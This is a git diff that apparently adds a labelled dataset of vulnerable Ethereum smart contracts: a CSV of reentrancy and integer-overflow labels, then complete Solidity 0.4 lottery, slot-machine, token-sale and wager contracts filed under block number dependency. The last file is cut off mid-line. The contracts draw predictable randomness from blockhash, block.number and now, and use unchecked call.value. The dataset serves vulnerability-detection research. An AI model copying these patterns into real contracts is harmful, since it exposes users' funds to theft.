+672,20810,MultiBuyer,1,reentrancy +673,20815,MultiBuyer,1,reentrancy +674,20821,MultiBuyer,1,reentrancy +675,21071,MultiBuyer,1,reentrancy +676,21080,MultiBuyer,1,reentrancy +677,21082,MultiBuyer,1,reentrancy +678,21084,MultiBuyer,1,reentrancy +679,21390,Accrual_account,1,reentrancy +680,21391,MultiSigWallet,1,reentrancy +681,21391,MultiSigWalletWithDailyLimit,1,reentrancy +682,21700,MultiBuyer,1,reentrancy +683,21703,MultiBuyer,1,reentrancy +684,21741,MultiBuyer,1,reentrancy +685,21750,MultiBuyer,1,reentrancy +686,21755,COIN_BOX,1,reentrancy +687,22074,SIMPLE_PIGGY_BANK,1,reentrancy +688,22478,MultiBuyer,1,reentrancy +689,22480,MultiBuyer,1,reentrancy +690,22485,MultiBuyer,1,reentrancy +691,22500,MultiBuyer,1,reentrancy +692,22810,MultiBuyer,1,reentrancy +693,22813,MultiBuyer,1,reentrancy +694,22823,MultiBuyer,1,reentrancy +695,22854,MultiBuyer,1,reentrancy +696,24456,ETH_VAULT,1,reentrancy +697,24501,MultiBuyer,1,reentrancy +698,24507,MultiBuyer,1,reentrancy +699,24517,MultiBuyer,1,reentrancy +700,24520,MultiBuyer,1,reentrancy +701,31620,MultiBuyer,1,reentrancy +702,31624,MultiBuyer,1,reentrancy +703,31627,MultiBuyer,1,reentrancy +704,31632,MultiBuyer,1,reentrancy +705,31890,MultiBuyer,1,reentrancy +706,31893,MultiBuyer,1,reentrancy +707,31895,MultiBuyer,1,reentrancy +708,31900,MultiBuyer,1,reentrancy +709,32090,MultiBuyer,1,reentrancy +710,32091,MultiBuyer,1,reentrancy +711,32095,MultiBuyer,1,reentrancy +712,32100,MultiBuyer,1,reentrancy +713,32470,MultiBuyer,1,reentrancy +714,32474,MultiBuyer,1,reentrancy +715,32480,MultiBuyer,1,reentrancy +716,32481,MultiBuyer,1,reentrancy +717,32700,MultiBuyer,1,reentrancy +718,32701,MultiBuyer,1,reentrancy +719,32710,MultiBuyer,1,reentrancy +720,32715,MultiBuyer,1,reentrancy +721,33907,MultiBuyer,1,reentrancy +722,33910,MultiBuyer,1,reentrancy +723,33912,MultiBuyer,1,reentrancy +724,33991,MultiBuyer,1,reentrancy +725,33995,MultiBuyer,1,reentrancy +726,33998,MultiBuyer,1,reentrancy +727,34000,MultiBuyer,1,reentrancy +728,34090,MultiBuyer,1,reentrancy +729,34092,MultiBuyer,1,reentrancy +730,34095,MultiBuyer,1,reentrancy +731,34098,MultiBuyer,1,reentrancy +732,34328,MultiBuyer,1,reentrancy +733,34330,MultiBuyer,1,reentrancy +734,34331,MultiBuyer,1,reentrancy +735,34334,MultiBuyer,1,reentrancy +736,9,WWW,1,integer overflow +737,33,AbcdEfg,1,integer overflow +738,34,GlobalGoldCashToken,1,integer overflow +739,35,BEECASHBACKHOME,1,integer overflow +740,117,ExShellToken,1,integer overflow +741,118,ExShellToken,1,integer overflow +742,126,TestCoin,1,integer overflow +743,130,ExShellToken,1,integer overflow +744,143,ExShellToken,1,integer overflow +745,169,ExShellToken,1,integer overflow +746,241,ExShellToken,1,integer overflow +747,258,CRYPTOHEDGECoin,1,integer overflow +748,339,ExShellToken,1,integer overflow +749,364,ATM,1,integer overflow +750,370,Purox,1,integer overflow +751,372,MntToken,1,integer overflow +752,375,ExShellToken,1,integer overflow +753,385,HelpingBlocksContract,1,integer overflow +754,394,ExShellToken,1,integer overflow +755,465,ExShellToken,1,integer overflow +756,520,HeavenlyHoundCoin,1,integer overflow +757,544,HNContract,1,integer overflow +758,566,CYFToken,1,integer overflow +759,607,ExShellToken,1,integer overflow +760,633,StandardToken,1,integer overflow +761,633,NABC,1,integer overflow +762,640,ExShellToken,1,integer overflow +763,655,ExShellToken,1,integer overflow +764,688,QPay,1,integer overflow +765,847,ExShellToken,1,integer overflow +766,944,VXR,1,integer overflow +767,977,WBET,1,integer overflow +768,980,ExShellToken,1,integer overflow +769,1675,ExShellToken,1,integer overflow +770,1690,ExShellToken,1,integer overflow +771,1711,ExShellToken,1,integer overflow +772,1720,ExShellToken,1,integer overflow +773,1735,ExShellToken,1,integer overflow +774,1808,ZXCToken,1,integer overflow +775,1822,CoinByInsomnia,1,integer overflow +776,1896,SAFCOIN,1,integer overflow +777,1955,BBBToken,1,integer overflow diff --git a/smart_contract_dataset/block number dependency/0.sol b/smart_contract_dataset/block number dependency/0.sol new file mode 100644 index 0000000000000000000000000000000000000000..878391158eece73a289cb08468e23c5da68050de --- /dev/null +++ b/smart_contract_dataset/block number dependency/0.sol @@ -0,0 +1,169 @@ +pragma solidity ^0.4.24; +contract BREBuy { + + struct ContractParam { + uint32 totalSize ; + uint256 singlePrice; + uint8 pumpRate; + bool hasChange; + } + + address owner = 0x0; + uint32 gameIndex = 0; + uint256 totalPrice= 0; + bool isLock = false; + ContractParam public setConfig; + ContractParam public curConfig; + + address[] public addressArray = new address[](0); + + event openLockEvent(); + event addPlayerEvent(uint32 gameIndex,address player); + event gameOverEvent(uint32 gameIndex,uint32 totalSize,uint256 singlePrice,uint8 pumpRate,address winAddr,uint overTime); + event stopGameEvent(uint totalBalace,uint totalSize,uint price); + + + constructor ( uint32 _totalSize, + uint256 _singlePrice + ) public { + owner = msg.sender; + setConfig = ContractParam(_totalSize,_singlePrice * 1 finney ,5,false); + curConfig = ContractParam(_totalSize,_singlePrice * 1 finney ,5,false); + startNewGame(); + } + + modifier onlyOwner { + require(msg.sender == owner,"only owner can call this function"); + _; + } + + modifier notLock { + require(isLock == false,"contract current is lock status"); + _; + } + + function isNotContract(address addr) private view returns (bool) { + uint size; + assembly { size := extcodesize(addr) } + return size <= 0; + } + + function updateLock(bool b) onlyOwner public { + + require(isLock != b," updateLock new status == old status"); + + isLock = b; + + if(isLock) { + stopGame(); + }else{ + startNewGame(); + emit openLockEvent(); + } + } + + function stopGame() onlyOwner private { + + if(addressArray.length <= 0) { + return; + } + uint totalBalace = address(this).balance; + uint price = totalBalace / addressArray.length; + for(uint i = 0; i < addressArray.length; i++) { + address curPlayer = addressArray[i]; + curPlayer.transfer(price); + } + emit stopGameEvent(totalBalace,addressArray.length,price); + addressArray.length=0; + } + + function transferOwnership(address newOwner) onlyOwner public { + if (newOwner != address(0)) { + owner = newOwner; + } + } + + function changeConfig( uint32 _totalSize,uint256 _singlePrice,uint8 _pumpRate) onlyOwner public payable { + + curConfig.hasChange = true; + if(setConfig.totalSize != _totalSize) { + setConfig.totalSize = _totalSize; + } + if(setConfig.pumpRate != _pumpRate){ + setConfig.pumpRate = _pumpRate; + } + if(setConfig.singlePrice != _singlePrice * 1 finney){ + setConfig.singlePrice = _singlePrice * 1 finney; + } + } + + function startNewGame() private { + + gameIndex++; + if(curConfig.hasChange) { + if(curConfig.totalSize != setConfig.totalSize) { + curConfig.totalSize = setConfig.totalSize; + } + if(curConfig.singlePrice != setConfig.singlePrice){ + curConfig.singlePrice = setConfig.singlePrice; + } + if( curConfig.pumpRate != setConfig.pumpRate) { + curConfig.pumpRate = setConfig.pumpRate; + } + curConfig.hasChange = false; + } + addressArray.length=0; + } + + function getGameInfo() public view returns (uint256,uint32,uint256,uint8,address[],uint256,bool) { + return (gameIndex, + curConfig.totalSize, + curConfig.singlePrice, + curConfig.pumpRate, + addressArray, + totalPrice, + isLock); + } + + function gameResult() private { + + uint index = getRamdon(); + address lastAddress = addressArray[index]; + uint totalBalace = address(this).balance; + uint giveToOwn = totalBalace * curConfig.pumpRate / 100; + uint giveToActor = totalBalace - giveToOwn; + owner.transfer(giveToOwn); + lastAddress.transfer(giveToActor); + emit gameOverEvent( + gameIndex, + curConfig.totalSize, + curConfig.singlePrice, + curConfig.pumpRate, + lastAddress, + now); + } + + function getRamdon() private view returns (uint) { + bytes32 ramdon = keccak256(abi.encodePacked(ramdon,now,blockhash(block.number-1))); + for(uint i = 0; i < addressArray.length; i++) { + ramdon = keccak256(abi.encodePacked(ramdon,now, addressArray[i])); + } + uint index = uint(ramdon) % addressArray.length; + return index; + } + + function() notLock payable public{ + + require(msg.sender == tx.origin, "msg.sender must equipt tx.origin"); + require(isNotContract(msg.sender),"msg.sender not is Contract"); + require(msg.value == curConfig.singlePrice,"msg.value error"); + totalPrice = totalPrice + msg.value; + addressArray.push(msg.sender); + + emit addPlayerEvent(gameIndex,msg.sender); + if(addressArray.length >= curConfig.totalSize) { + gameResult(); + startNewGame(); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1017.sol b/smart_contract_dataset/block number dependency/1017.sol new file mode 100644 index 0000000000000000000000000000000000000000..e9fe35b0ebf06f32324706096871691f29dd264a --- /dev/null +++ b/smart_contract_dataset/block number dependency/1017.sol @@ -0,0 +1,625 @@ +pragma solidity ^0.4.24; + + + + +contract ZethrTokenBankroll{ + + function gameRequestTokens(address target, uint tokens) public; + function gameTokenAmount(address what) public returns (uint); +} + + +contract ZethrMainBankroll{ + function gameGetTokenBankrollList() public view returns (address[7]); +} + + +contract ZethrInterface{ + function withdraw() public; +} + + +library ZethrTierLibrary{ + + function getTier(uint divRate) internal pure returns (uint){ + + + + + + uint actualDiv = divRate; + if (actualDiv >= 30){ + return 6; + } else if (actualDiv >= 25){ + return 5; + } else if (actualDiv >= 20){ + return 4; + } else if (actualDiv >= 15){ + return 3; + } else if (actualDiv >= 10){ + return 2; + } else if (actualDiv >= 5){ + return 1; + } else if (actualDiv >= 2){ + return 0; + } else{ + + revert(); + } + } +} + + +contract ZlotsJackpotHoldingContract { + function payOutWinner(address winner) public; + function getJackpot() public view returns (uint); +} + + +contract ZethrBankrollBridge { + + ZethrInterface Zethr; + + + + + + address[7] UsedBankrollAddresses; + + + mapping(address => bool) ValidBankrollAddress; + + + function setupBankrollInterface(address ZethrMainBankrollAddress) internal { + + + Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D); + + + UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); + for(uint i=0; i<7; i++){ + ValidBankrollAddress[UsedBankrollAddresses[i]] = true; + } + } + + + modifier fromBankroll(){ + require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); + _; + } + + + + function RequestBankrollPayment(address to, uint tokens, uint tier) internal { + address tokenBankrollAddress = UsedBankrollAddresses[tier]; + ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); + } + + function getZethrTokenBankroll(uint divRate) public constant returns (ZethrTokenBankroll){ + return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]); + } +} + + +contract ZethrShell is ZethrBankrollBridge { + + + function WithdrawToBankroll() public { + address(UsedBankrollAddresses[0]).transfer(address(this).balance); + } + + + function WithdrawAndTransferToBankroll() public { + Zethr.withdraw(); + WithdrawToBankroll(); + } +} + + + +contract Zlots is ZethrShell { + using SafeMath for uint; + + + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHPrize(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreePurplePyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeRockets(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoPurplePyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoRockets(address _wagerer, uint _block); + event SpinConcluded(address _wagerer, uint _block); + + + + + + modifier betIsValid(uint _betSize, uint divRate) { + require(_betSize.mul(50) <= getMaxProfit(divRate)); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + + + uint constant public maxProfitDivisor = 1000000; + uint constant public houseEdgeDivisor = 1000; + mapping (uint => uint) public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 1e18; + address public zlotsJackpot; + address private owner; + address private bankroll; + bool gamePaused; + + + uint public totalSpins; + uint public totalZTHWagered; + mapping (uint => uint) public contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + + + + + constructor(address BankrollAddress) public { + + setupBankrollInterface(BankrollAddress); + + + owner = msg.sender; + + + ownerSetMaxProfitAsPercentOfHouse(50000); + + + bankroll = ZTHBANKROLL; + gameActive = true; + + + ownerSetMinBet(1e18); + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function execute(address _from, uint _value, uint divRate, bytes ) public fromBankroll returns (bool){ + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn, divRate); + return true; + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + uint8 tier; + uint divRate; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn, uint divRate) + private + betIsValid(_tkn.value, divRate) + { + + require(gameActive); + require(block.number <= ((2 ** 48) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + + + + addContractBalance(divRate, _wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + spin.tier = uint8(ZethrTierLibrary.getTier(divRate)); + spin.divRate = divRate; + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + uint playerDivrate = spin.divRate; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 1000000; + } else { + + + + result = random(1000000, spin.blockn, target) + 1; + } + + if (result > 506856) { + + + + + RequestBankrollPayment(zlotsJackpot, spin.tokenValue / 100, tier); + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0), uint(0)); + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else if (result < 2) { + + + + profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot(); + category = 1; + + + emit ThreeMoonJackpot(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, true); + + + uint8 tier = spin.tier; + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0), uint(0)); + + + ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target); + } else { + if (result < 299) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else if (result < 3128) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 3; + emit ZTHPrize(target, spin.blockn); + } else if (result < 16961) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else if (result < 30794) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else if (result < 44627) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else if (result < 46627) { + + profit = SafeMath.mul(spin.tokenValue, 11); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else if (result < 49127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 8; + emit ThreePurplePyramids(target, spin.blockn); + } else if (result < 51627) { + + profit = SafeMath.mul(spin.tokenValue, 9); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else if (result < 53127) { + + profit = SafeMath.mul(spin.tokenValue, 13); + category = 10; + emit ThreeRockets(target, spin.blockn); + } else if (result < 82530) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else if (result < 150423) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else if (result < 203888) { + + profit = spin.tokenValue; + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else if (result < 257353) { + + profit = spin.tokenValue; + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else if (result < 310818) { + + profit = spin.tokenValue; + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else if (result < 364283) { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else if (result < 417748) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125), 100); + category = 17; + emit TwoPurplePyramids(target, spin.blockn); + } else if (result < 471213) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133), 100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10); + category = 19; + emit TwoRockets(target, spin.blockn); + } + + + subContractBalance(playerDivrate, profit); + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + tier = spin.tier; + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0), uint(0)); + RequestBankrollPayment(target, profit, tier); + } + + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function setMaxProfit(uint divRate) internal { + maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function getMaxProfit(uint divRate) public view returns (uint) { + return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function subContractBalance(uint divRate, uint sub) internal { + contractBalance[divRate] = contractBalance[divRate].sub(sub); + } + + + function addContractBalance(uint divRate, uint add) internal { + contractBalance[divRate] = contractBalance[divRate].add(add); + } + + + + + function bankrollExternalUpdateTokens(uint divRate, uint newBalance) + public + fromBankroll + { + contractBalance[divRate] = newBalance; + setMaxProfit(divRate); + } + + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 500000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(2); + setMaxProfit(5); + setMaxProfit(10); + setMaxProfit(15); + setMaxProfit(20); + setMaxProfit(25); + setMaxProfit(33); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerSetZlotsAddress(address zlotsAddress) public + onlyOwner + { + zlotsJackpot = zlotsAddress; + } + + + function pauseGame() public onlyOwnerOrBankroll { + gameActive = false; + } + + + function resumeGame() public onlyOwnerOrBankroll { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwnerOrBankroll { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwnerOrBankroll { + bankroll = _newBankroll; + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/103.sol b/smart_contract_dataset/block number dependency/103.sol new file mode 100644 index 0000000000000000000000000000000000000000..0868e372e5f7b4f6712aa1c83259db17d92d435d --- /dev/null +++ b/smart_contract_dataset/block number dependency/103.sol @@ -0,0 +1,247 @@ +pragma solidity ^0.4.24; + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract EBLLToken is StandardToken, SafeMath { + + + string public constant name = "易宝链"; + string public constant symbol = "EBL"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 5963; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function EBLLToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(1600000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1034.sol b/smart_contract_dataset/block number dependency/1034.sol new file mode 100644 index 0000000000000000000000000000000000000000..72bd4fc64d19f2d5b476531467cd44891149ff54 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1034.sol @@ -0,0 +1,258 @@ +pragma solidity ^0.4.21; + + + + + + +contract PoCGame +{ + + + + modifier onlyOwner() + { + require(msg.sender == owner); + _; + } + + modifier isOpenToPublic() + { + require(openToPublic); + _; + } + + modifier onlyRealPeople() + { + require (msg.sender == tx.origin); + _; + } + + modifier onlyPlayers() + { + require (wagers[msg.sender] > 0); + _; + } + + + + event Wager(uint256 amount, address depositer); + event Win(uint256 amount, address paidTo); + event Lose(uint256 amount, address loser); + event Donate(uint256 amount, address paidTo, address donator); + event DifficultyChanged(uint256 currentDifficulty); + event BetLimitChanged(uint256 currentBetLimit); + + + address private whale; + uint256 betLimit; + uint difficulty; + uint private randomSeed; + address owner; + mapping(address => uint256) timestamps; + mapping(address => uint256) wagers; + bool openToPublic; + uint256 totalDonated; + + + constructor(address whaleAddress, uint256 wagerLimit) + onlyRealPeople() + public + { + openToPublic = false; + owner = msg.sender; + whale = whaleAddress; + totalDonated = 0; + betLimit = wagerLimit; + + } + + + + function OpenToThePublic() + onlyOwner() + public + { + openToPublic = true; + } + + + function AdjustBetAmounts(uint256 amount) + onlyOwner() + public + { + betLimit = amount; + + emit BetLimitChanged(betLimit); + } + + + function AdjustDifficulty(uint256 amount) + onlyOwner() + public + { + difficulty = amount; + + emit DifficultyChanged(difficulty); + } + + + function() public payable { } + + + function wager() + isOpenToPublic() + onlyRealPeople() + payable + public + { + + require(msg.value == betLimit); + + + require(wagers[msg.sender] == 0); + + + timestamps[msg.sender] = block.number; + wagers[msg.sender] = msg.value; + emit Wager(msg.value, msg.sender); + } + + + function play() + isOpenToPublic() + onlyRealPeople() + onlyPlayers() + public + { + uint256 blockNumber = timestamps[msg.sender]; + if(blockNumber < block.number) + { + timestamps[msg.sender] = 0; + wagers[msg.sender] = 0; + + uint256 winningNumber = uint256(keccak256(abi.encodePacked(blockhash(blockNumber), msg.sender)))%difficulty +1; + + if(winningNumber == difficulty / 2) + { + payout(msg.sender); + } + else + { + + loseWager(betLimit / 2); + } + } + else + { + revert(); + } + } + + + function donate() + isOpenToPublic() + public + payable + { + donateToWhale(msg.value); + } + + + function payout(address winner) + internal + { + uint256 ethToTransfer = address(this).balance / 2; + + winner.transfer(ethToTransfer); + emit Win(ethToTransfer, winner); + } + + + function donateToWhale(uint256 amount) + internal + { + whale.call.value(amount)(bytes4(keccak256("donate()"))); + totalDonated += amount; + emit Donate(amount, whale, msg.sender); + } + + + function loseWager(uint256 amount) + internal + { + whale.call.value(amount)(bytes4(keccak256("donate()"))); + totalDonated += amount; + emit Lose(amount, msg.sender); + } + + + + function ethBalance() + public + view + returns (uint256) + { + return address(this).balance; + } + + + + function currentDifficulty() + public + view + returns (uint256) + { + return difficulty; + } + + + + function currentBetLimit() + public + view + returns (uint256) + { + return betLimit; + } + + function hasPlayerWagered(address player) + public + view + returns (bool) + { + if(wagers[player] > 0) + { + return true; + } + else + { + return false; + } + + } + + + function winnersPot() + public + view + returns (uint256) + { + return address(this).balance / 2; + } + + + function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) + public + onlyOwner() + returns (bool success) + { + return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); + } +} + + +contract ERC20Interface +{ + function transfer(address to, uint256 tokens) 